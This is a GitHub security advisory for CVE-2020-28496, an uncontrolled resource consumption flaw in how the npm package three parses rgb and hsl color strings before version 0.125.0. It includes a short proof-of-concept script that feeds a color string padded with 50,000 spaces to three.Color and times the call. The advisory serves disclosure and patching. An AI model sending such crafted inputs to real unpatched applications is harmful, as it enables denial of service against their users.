GitHub Advisoryadvisory · npm

GHSA-fq6p-x6j3-cmmq Denial of service in three

HIGH Published 2021-03-01 Modified 2023-09-11 Official page ↗
Aliases
CVE-2020-28496
Ecosystem
npm
Packages
three
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2021-02-24

Affected packages

• npm three: < 0.125.0 → fixed in 0.125.0

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```

Related

Alias · CVE (1)

  • CVE-2020-28496 This affects the package three before 0.125.0. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References